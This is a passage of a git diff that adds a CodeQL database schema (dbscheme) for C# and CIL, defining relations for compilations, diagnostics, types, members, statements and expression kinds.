+cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/semmlecode.csharp.dbscheme b/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..26249c105a8 --- /dev/null +++ b/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/semmlecode.csharp.dbscheme @@ -0,0 +1,1909 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | 